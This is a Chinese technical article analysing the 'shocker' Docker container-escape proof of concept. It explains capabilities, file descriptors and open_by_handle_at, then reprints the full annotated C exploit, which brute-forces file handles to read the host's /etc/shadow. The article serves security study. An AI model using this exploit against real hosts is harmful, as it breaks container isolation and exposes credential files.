Docker 容器逃逸案例分析

本文涉及的产品
容器镜像服务 ACR,镜像仓库100个 不限时长
简介: ## 0. 前言 本文参考自《Docker 容器与容器云》 这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。 目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。

0. 前言

本文参考自《Docker 容器与容器云》

这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。

目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。

本案例所分析的 PoC 源码地址:shocker.c

1. 预备知识

1.1 Linux Capability

尝试用较为简单的话来说明 Linux 中 Capability 的概念。

为了解决在某些场景下,普通用户需要部分 root 权限来完成工作的问题。Linux 支持将部分 root 的特权操作权限细分成具体的 Capability,如果将某个 Capability 分配给某一个可执行文件或者是进程,即使不是 root 用户,也可以执行该 Capability 对应的特权操作。

1.2 Unix 系统文件操作原理

1.2.1 procuser 结构体

以 UNIX V6 为基础进行说明,目前主流的 Linux 版本文件系统的实现原理与 UNIX V6 差别不大。

Unix 系统中与某一个进程密切相关的有两个结构体,它们是 proc 结构体和 user 结构体。

proc 结构体中保存了进程状态、执行优先级等经常需要被内核访问的信息,因此由 proc 结构体构成的数据 proc[] 是常驻内存的。

/*
 * Filename: proc.h
 */

struct proc {
    // 进程当前状态
    char p_stat;
    // 标识变量
    char p_flag;
    // 执行优先级
    char p_pri;
    // 接收到的信号
    char p_sig;
    // UID
    char p_uid;
    // 在内存或交换空间中存在的时间,单位秒
    char p_time;
    // 占用 CPU 的累积时间,单位时钟 tick 数
    char p_cpu;
    // 用于修正执行优先级的补正系数,默认 0
    char p_nice;
    // 正在操作进程的终端
    int  p_ttyp;
    // PID
    int  p_pid;
    // 父进程 PID
    int  p_ppid;
    // 数据段的物理地址
    int  p_addr;
    // 数据段长度
    int  p_size;
    // 进程进入休眠的原因
    int  p_wchan;
    // 使用的代码段
    int  *p_textp;
}

user 结构体中保存了进程打开的文件等信息,由于内核只需要使用当前执行进程的 user 结构体,所以当某一个进程被移至交换空间时, user 结构体也相应地会被移出内存。

proc 结构体中的 p_addr 指向的数据段,其起始部分的内容即为 user 结构体。

由于 user 结构体内容较多就不列出了,其中一个与文件描述符相关的属性是 u_ofile[],会在后面提到。

1.2.2 文件描述符

文件描述符是内核为了管理已被打开的文件所创建的索引,是一个非负的整数。

文件描述符保存在进程对应 user 结构体的 u_ofile[] 字段中。

通过文件描述符对文件进行操作涉及到三个关键的数据结构,原理如下图所示:

Screen_Shot_2016_06_16_at_2_01_50_PM

说明1:

当一个进程启动时,文件描述符 0 表示 stdin1 表示 stdout2 表示 stderr,若进程再打开其它文件,那么这个文件的文件描述符会是 3,依次递增。

说明2:

当两个进程打开了同一个文件时(即为图中所示情况),对应到 file[] 中是两个不同的 file 结构体,因此各自拥有独立的文件偏移量,不过指向的是同一个 inode 节点,所以修改的是同一个文件。

说明3:

存在以下几种情况(未必是所有情况,也许存在没有列出的其它情况)会导致两个进程的文件描述符指向同一个 file 结构:

  1. 父进程 fork 出了子进程。此时父进程与子进程各自的每一个打开文件描述符共享同一个 file 结构
  2. 使用 dup 或是 dup2 函数来复制现有的文件描述符

我们知道 Docker 容器的 Namespace 隔离是 Docker Daemon 进程通过调用 clone() 函数,并控制 clone 函数中的 Flag 参数来实现的。我们查阅文档可以发现这一句描述

If CLONE_FILES is set, the calling process and the child process share the same file descriptor table.

说明 Docker Daemon 进程与容器进程共享了文件描述符。

1.3 open_by_handle_at 函数

函数原型:

int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);

函数功能:

引自 Linux 手册

The open_by_handle_at() system call opens the file referred to by handle.

The mount_fd argument is a file descriptor for any object (file, directory, etc.) in the mounted filesystem with respect to which handle should be interpreted.

The caller must have the CAP_DAC_READ_SEARCH capability to invoke open_by_handle_at().

译:

open_by_handle_at() 用于打开 file_handle 结构体指针所描述的某一个文件

mount_fd 参数为 file_handle 结构体指针所描述文件所在的文件系统中,任何一个文件或者是目录的文件描述符

Linux 手册中特别提到调用 open_by_handle_at 函数需要具备 CAP_DAC_READ_SEARCH 能力

Docker 1.0 版本对 Capability 使用黑名单管理策略,并且没有限制 CAP_DAC_READ_SEARCH 能力,因而造成了这个容器逃逸 case

file_handle 结构体说明:

struct file_handle {
    unsigned int  handle_bytes;   // Size of f_handle
    int           handle_type;    // Handle type
    unsigned char f_handle[0];    // File identifier
}

前面两个字段都好理解,关键是 f_handle[0] 字段,它一般都会是一个 8 字节的字符串,并且前 4 个字节为该文件的 inodenumber

另外 CVE-2014-3519 这个漏洞也与 open_by_handle_at() 函数相关,有时间我再去研究一下那个 case

3. "shocker.c" Line-by-Line Explanation

分析 shocker.c 所需要的储备知识已经介绍完了。

我在代码中用中文给出了比较详细的说明,下面来看下这段容器逃逸 PoC 代码。

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer

 *

 * Demonstrates that any given docker image someone is asking

 * you to run in your docker setup can access ANY file on your host,

 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising

 * security of the host and any other docker VM's on it.

 *

 * docker using container based VMM: Sebarate pid and net namespace,

 * stripped caps and RO bind mounts into container's /. However

 * as its only a bind-mount the fs struct from the task is shared

 * with the host which allows to open files by file handles

 * (open_by_handle_at()). As we thankfully have dac_override and

 * dac_read_search we can do this. The handle is usually a 64bit

 * string with 32bit inodenumber inside (tested with ext4).

 * Inode of / is always 2, so we have a starting point to walk

 * the FS path and brute force the remaining 32bit until we find the

 * desired file (It's probably easier, depending on the fhandle export

 * function used for the FS in question: it could be a parent inode# or

 * the inode generation which can be obtained via an ioctl).

 * [In practise the remaining 32bit are all 0 :]

 *

 * tested with docker 0.11 busybox demo image on a 3.11 kernel:

 *

 * docker run -i busybox sh

 *

 * seems to run any program inside VMM with UID 0 (some caps stripped); if

 * user argument is given, the provided docker image still

 * could contain +s binaries, just as demo busybox image does.

 *

 * PS: You should also seccomp kexec() syscall :)

 * PPS: Might affect other container based compartments too

 *

 * $ cc -Wall -std=c99 -O2 shocker.c -static

 */
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


/**
 * 攻击者构造的 file_handle 结构体
 */
struct my_file_handle {

    unsigned int handle_bytes;

    int handle_type;

    unsigned char f_handle[8];

};


/**
 * die 函数用于输出错误信息到 stderr,并以错误码结束程序,并不重要
 */
void die(const char *msg) {
    
    perror(msg);
    
    exit(errno);
    
}


/**
 * 用于输出一个 file_handle 结构体,并不重要
 */
void dump_handle(const struct my_file_handle *h) {

    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
            h->handle_type);

    for (int i = 0; i < h->handle_bytes; ++i) {

        fprintf(stderr,"0x%02x", h->f_handle[i]);

        if ((i + 1) % 20 == 0)

            fprintf(stderr,"\n");

        if (i < h->handle_bytes - 1)

            fprintf(stderr,", ");

    }

    fprintf(stderr,"};\n");

}


/**
 * 关键函数,用于爆破寻找指定文件的 file_handle 结构体
 * param fbd:'/.dockerinit' 文件描述符,与 '/etc/shadow' 在同一个文件系统中(已在 1.2.2 中说明)
 * param *path:爆破目标(本 case 中为 '/etc/shadow' 文件)
 * param *ih:爆破起始路径(本 case 中为 '/' 路径)的 file_handle 结构体
 * param *oh:返回参数,用于返回 '/etc/shadow' 的 file_handle 结构体
 */
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) {

    int fd;

    uint32_t ino = 0;

    struct my_file_handle outh = {

        .handle_bytes = 8,

        .handle_type = 1

    };

    DIR *dir = NULL;

    struct dirent *de = NULL;

    // 拿到 '/' 在 path 中首次出现的位置,返回的是该位置的地址。
    path = strchr(path, '/');

    /**
     * 递归寻找 '/etc/shadow' 的 file_handle 结构体
     */
    if (!path) {
        // 递归的结束条件为,已经把 path 中的所有 '/' (即路径)处理完成
        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));

        oh->handle_type = 1;

        oh->handle_bytes = 8;

        return 1;

    }

    // 跳过本次 '/' 字符在 path 中的地址
    // 用 python 描述就是 path = path[index_of_/:] 
    ++path;

    fprintf(stderr, "[*] Resolving '%s'\n", path);

    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");

    // 第一次递归中,dir 变量被赋值为 '/' 路径
    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");

    // 第一次递归中,为寻找 '/' 路径下,'/etc' 的 inodenumber,并将它复制给 ino
    for (;;) {

        de = readdir(dir);

        if (!de)
            break;

        fprintf(stderr, "[*] Found %s\n", de->d_name);

        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {

            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);

            ino = de->d_ino;

            break;

        }
    }

    // 由于已经拿到 '/etc' 的 inodenumber,故可以暴力破解出 '/etc' 的 file_handle 结构体
    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");

    if (de) {

        for (uint32_t i = 0; i < 0xffffffff; ++i) {

            outh.handle_bytes = 8;

            outh.handle_type = 1;

        // 爆破 '/etc' 的 file_handle 结构体并赋值给 outh
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));

            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*](%s) Trying: 0x%08x\n", de->d_name, i);

            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {

                closedir(dir);

                close(fd);

                dump_handle(&outh);
         
                // 继续递归查找 '/etc/shadow' 文件
                // 注意此时 path 已经为 'etc/shadow',而新的递归起点为 '/etc'
                return find_handle(bfd, path, &outh, oh);

            }
        }
    }

    closedir(dir);

    close(fd);

    return 0;

}


int main() {

    char buf[0x1000];

    int fd1, fd2;

    struct my_file_handle h;

    // '/' 路径的 file_handle 结构体,`/` 的 inodenumber 一般为 2
    struct my_file_handle root_h = {

        .handle_bytes = 8,

        .handle_type = 1,

        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}

    };


    /**
     * 需要重点说明 /.dockerinit 文件
     * 
     * 在老版本的 Docker 中,容器通过 `lxc-start` 启动,`.dockerinit` 是宿主机上执行 `lxc-start` 命令启动容器时,所指定的配置文件,会在启动容器时被挂载到容器内部。
     * 
     * 但在当前主流 Docker 版本中,已经将这部分功能移除了,虽然仍然有 `.dockerinit` 文件,不过文件已为空(并且也不是 `proc` 那种存在于内存中的 VFS 对象,真的就是空文件......)
     * 
     * PoC 只是利用这个 `.dockerinit` 文件作为容器内部与宿主机之间的一个桥梁
     */
    if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
        die("[-] open");


    // 调用 find_handle 来爆破寻找目标文件的 file_handle 结构体,从而打开该文件
    // h 为返回参数,即 "/etc/shadow" 爆破结果
    if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");

    // 输出 "/etc/shadow" 的 file_handle 结构体
    fprintf(stderr, "[!] Got a final handle!\n");

    dump_handle(&h);


    /**
     * 根据上面拿到的 h,打开 "/etc/shadow" 文件并输出
     */ 
    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
        
    memset(buf, 0, sizeof(buf));

    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");

    fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
    
    close(fd2); close(fd1);

    return 0;

}
目录
相关文章
|
3天前
|
存储 安全 数据安全/隐私保护
【Docker 专栏】Docker 容器化应用的备份与恢复策略
【5月更文挑战第9天】本文探讨了Docker容器化应用的备份与恢复策略,强调了备份在数据保护、业务连续性和合规要求中的关键作用。内容涵盖备份的重要性、内容及方法,推荐了Docker自带工具和第三方工具如Portainer、Velero。制定了备份策略,包括频率、存储位置和保留期限,并详细阐述了恢复流程及注意事项。文章还提及案例分析和未来发展趋势,强调了随着技术发展,备份与恢复策略将持续演进,以应对数字化时代的挑战。
【Docker 专栏】Docker 容器化应用的备份与恢复策略
|
3天前
|
监控 Kubernetes Docker
【Docker 专栏】Docker 容器内应用的健康检查与自动恢复
【5月更文挑战第9天】本文探讨了Docker容器中应用的健康检查与自动恢复,强调其对应用稳定性和系统性能的重要性。健康检查包括进程、端口和应用特定检查,而自动恢复则涉及重启容器和重新部署。Docker原生及第三方工具(如Kubernetes)提供了相关功能。配置检查需考虑检查频率、应用特性和监控告警。案例分析展示了实际操作,未来发展趋势将趋向更智能和高效的检查恢复机制。
【Docker 专栏】Docker 容器内应用的健康检查与自动恢复
|
1天前
|
NoSQL Redis Docker
Mac上轻松几步搞定Docker与Redis安装:从下载安装到容器运行实测全程指南
Mac上轻松几步搞定Docker与Redis安装:从下载安装到容器运行实测全程指南
10 0
|
3天前
|
缓存 关系型数据库 数据库
【Docker 专栏】Docker 与容器化数据库的集成与优化
【5月更文挑战第9天】本文探讨了Docker与容器化数据库集成的优势,如快速部署、环境一致性、资源隔离和可扩展性,并列举了常见容器化数据库(如MySQL、PostgreSQL和MongoDB)。讨论了集成方法、注意事项、优化策略,包括资源调整、缓存优化和监控告警。此外,强调了数据备份、恢复测试及性能评估的重要性。未来,随着技术发展,二者的集成将更紧密,为数据管理带来更多可能性。掌握此技术将应对数字化时代的机遇与挑战。
【Docker 专栏】Docker 与容器化数据库的集成与优化
|
3天前
|
存储 安全 数据库
【Docker 专栏】Docker 容器内应用的状态持久化
【5月更文挑战第9天】本文探讨了Docker容器中应用状态持久化的重要性,包括数据保护、应用可用性和历史记录保存。主要持久化方法有数据卷、绑定挂载和外部存储服务。数据卷是推荐手段,可通过`docker volume create`命令创建并挂载。绑定挂载需注意权限和路径一致性。利用外部存储如数据库和云服务可应对复杂需求。最佳实践包括规划存储策略、定期备份和测试验证。随着技术发展,未来将有更智能的持久化解决方案。
【Docker 专栏】Docker 容器内应用的状态持久化
|
3天前
|
机器学习/深度学习 监控 Kubernetes
【Docker 专栏】Docker 容器内服务的自动扩展与缩容
【5月更文挑战第9天】本文探讨了Docker容器服务的自动扩展与缩容原理及实践,强调其在动态业务环境中的重要性。通过选择监控指标(如CPU使用率)、设定触发条件和制定扩展策略,实现资源的动态调整。方法包括云平台集成和使用Kubernetes等框架。实践中,电商平台和实时数据处理系统受益于此技术。注意点涉及监控数据准确性、扩展速度和资源分配。未来,智能算法将提升扩展缩容的效率和准确性,成为关键技术支持。
【Docker 专栏】Docker 容器内服务的自动扩展与缩容
|
3天前
|
Java 数据库连接 Docker
【Docker 专栏】Docker 容器内环境变量的管理与使用
【5月更文挑战第9天】本文介绍了Docker容器中环境变量的管理与使用,环境变量用于传递配置信息和设置应用运行环境。设置方法包括在Dockerfile中使用`ENV`指令或在启动容器时通过`-e`参数设定。应用可直接访问环境变量或在脚本中使用。环境变量作用包括传递配置、设置运行环境和动态调整应用行为。使用时注意变量名称和值的合法性、保密性和覆盖问题。理解并熟练运用环境变量能提升Docker技术的使用效率和软件部署质量。
【Docker 专栏】Docker 容器内环境变量的管理与使用
|
3天前
|
运维 安全 Linux
深入理解Docker自定义网络:构建高效的容器网络环境
深入理解Docker自定义网络:构建高效的容器网络环境
|
3天前
|
存储 弹性计算 运维
Docker数据集与自定义镜像:构建高效容器的关键要素
Docker数据集与自定义镜像:构建高效容器的关键要素
|
3天前
|
Kubernetes Java 调度
Java容器技术:Docker与Kubernetes
Java容器技术:Docker与Kubernetes
13 0